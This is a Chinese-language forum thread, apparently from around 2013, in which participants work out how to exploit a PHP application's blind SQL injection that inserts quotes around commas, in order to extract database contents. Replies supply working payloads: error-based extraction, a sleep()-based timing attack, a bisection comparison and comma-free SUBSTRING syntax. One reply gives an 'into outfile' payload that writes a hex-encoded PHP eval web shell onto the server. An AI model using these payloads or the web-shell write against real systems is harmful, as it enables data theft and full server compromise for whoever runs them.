- A+
环境是这样的,有一套php程序,没有对参数做任何过滤,但是会在所有逗号的前后插入单引号,比如
提交:id=1 and 1=2 union select concat(1,2,3)
执行:select coun(*) from some_table where id=1 and 1=2 union select concat(1','2','3)
mysql执行出错的报错信息会反馈到客户端。
但是因为select的是count(*),所以可以认为没有回显。
那么这样的一个sql注入,应该怎么利用,来获取数据库里的数据呢(ascii半分法的请自动绕行)?
球猥琐流解法。
为了降低难度,假设数据库中的所用表名,字段名事先都已经知晓了。
PS:
1#CCOz | 2013-07-29 18:59
反正concat也是多个字符串之间的联合,不如这样:
id=1 and 1=2 union select concat('1,2,3')
select coun(*) from some_table where id=1 and 1=2 union select concat('1','2','3')
2#落叶纷飞 | 2013-07-29 21:18
id=1 and 1=2 union select concat(1%2b'b,a'%2b2%2b'b,a'%2b3)
select coun(*) from some_table where id=1 and 1=2 union select concat(1+'b','a'+2+'b','a'+3)
3#0x0F | 2013-07-29 21:34
不用逗号的注入,你懂
4#Hello_C | 2013-07-30 08:41
@0x0F">0x0F 如何不用逗号注入 求解
5#感谢(1)xsjswt | 2013-07-30 11:24
@Hello_C @0x0F">0x0F @落叶纷飞 @CCOz 想到一个方法,但是只能报出很少量的,而且得是小数据
提交:id=1 and (select 1 from(select count(*),concat((select (select (select hex(column_name) from table_name limit 1)) from information_schema.tables limit 1)+'0,0'+floor(rand(0)*2))x from information_schema.tables group by x)a);
执行:id=1 and (select 1 from(select count(*),concat((select (select (select hex(column_name) from table_name limit 1)) from information_schema.tables limit 1)+'0','0'+floor(rand(0)*2))x from information_schema.tables group by x)a);
报错:#1062 - Duplicate entry '1.79769313486232e+3082' for key 'group_key'
这个数据就太大了,用乘幂来表示,失去意义了。不过,可以除以100000000000慢慢来
6#感谢(1)xsjswt | 2013-07-30 11:28
刚才又试了一下,mysql的power函数算不到10^3000次方,悲剧了。这样是继续二分法的节奏么
7#感谢(1)xsjswt | 2013-07-30 11:35
对于数值型的字段,可以hex(left(column_name+'','2')),但是字符型的就没办法了
8#applychen | 2013-07-30 19:22
'or column_name like '%_%'#
9#感谢(1)xsjswt | 2013-07-31 07:41
@applychen 注入没有回显,是一个select sum(xxx) from xxx where id=xxx
10#applychen | 2013-07-31 13:20
@xsjswt 没回显的话那就延迟注射吧
'and (select sleep(3) from(select column_name from table_name limit 1)a where column_name like '%_%');
11#感谢(1)xsjswt | 2013-07-31 16:55
@applychen 还不如半分法慢慢猜数据。注入的目标是拿到数据库里面的数据。
12#齐迹 | 2013-07-31 17:06
@xsjswt 可以用mysql的substring方法 一段一段的取出来
13#感谢(1)xsjswt | 2013-07-31 17:07
@齐迹 substring有逗号,我想了很久没想到怎么拼逗号
14#感谢(1)xsjswt | 2013-07-31 17:09
@齐迹 如果mysql支持问号表达式,这个就很容易解决。
提交substring(col_name is not null ? col_name : '0,'1,1')
就OK,无奈没有
15#感谢(1)xsjswt | 2013-07-31 17:14
@xsjswt mysql的if要用括号包起来,case要以end结束,都闭合不掉逗号引入的单引号
16#_Evil | 2013-07-31 18:01
@xsjswt 看来你研究Mysql蛮深入的,我膜拜一下
17#3c0de | 2013-07-31 22:01
@xsjswt
你這部分怎沒被加上單引號!
select count(*),concat
應該會變成這樣吧
select count(*)',concat
#5的SQL
不是在逗點前+上單引號嗎?
18#applychen | 2013-07-31 22:24
@xsjswt 求个半分法注入绕过语句……
19#感谢(1)xsjswt | 2013-08-01 09:46
@3c0de 会的,所以很苦恼
20#感谢(1)xsjswt | 2013-08-01 09:47
@applychen and (select hex(col_name) from xxx where col_name not in ('known_val1,known_val2,....,known_valN') > 0x1234678 limit 1
21#_Evil | 2013-08-01 15:48
@xsjswt 的确很苦恼. @GaRY php领主大人有方法么
22#_Evil | 2013-08-01 15:49
@3c0de Wooyun私信PM你了
23#kimdle | 2013-08-01 21:25
果然很奇葩的注入啊///
24#乌帽子 | 2013-08-03 15:52
ecshop吗
25#江南的鱼 | 2013-08-06 18:36
过滤了特殊字符 <?()[] 要不然又root权限,还是能导出shell的!
26#感谢(1)xsjswt | 2013-08-06 18:53
@江南的鱼 那种奇葩的windows下system的mysql,而且mysql和web同一个机器的情况太少见了。
27#江南的鱼 | 2013-08-07 00:14
如果满足 爆出路径 ,mysql又是root权限,
那么就用:
')union select 0x3c3f706870206576616c28245f524551554553545b636d645d293b3f3e into outfile 'c:/99999.php'#
28#0x0F | 2013-08-07 00:56
用join,不用逗号注入
29#江南的鱼 | 2013-08-07 01:26
楼上的 给出代码
30#感谢(1)回复此人 | 2013-08-07 10:08
@江南的鱼 @0x0F">0x0F +1,join在这个场景确实是无法利用的
31#Joker | 2013-08-29 05:07
单引号可以闭合吧?用extractvalue不行?
32#Chora | 2013-12-01 19:47
楼上正解。
33#z@cx | 2013-12-01 21:32
遇到个IDS系统,对#号进行过滤,有木有解决办法额
34#/fd | 2014-02-27 19:35
@xsjswt MYSQL支援沒逗號的substring
http://dev.mysql.com/doc/refman/5.0/en/string-functions.html#function_substring
SUBSTRING(str FROM pos FOR len)
35#retanoj | 2014-02-27 21:41
话说..就算用substring,sql查到的结果不应该是两条记录么? 一条是前半句查的,后一条是union select查到的?那PHP只处理前一条记录,还是根据情况判断呢?
- 我的微信
- 这是我的微信扫一扫
- 我的微信公众号
- 我的微信公众号扫一扫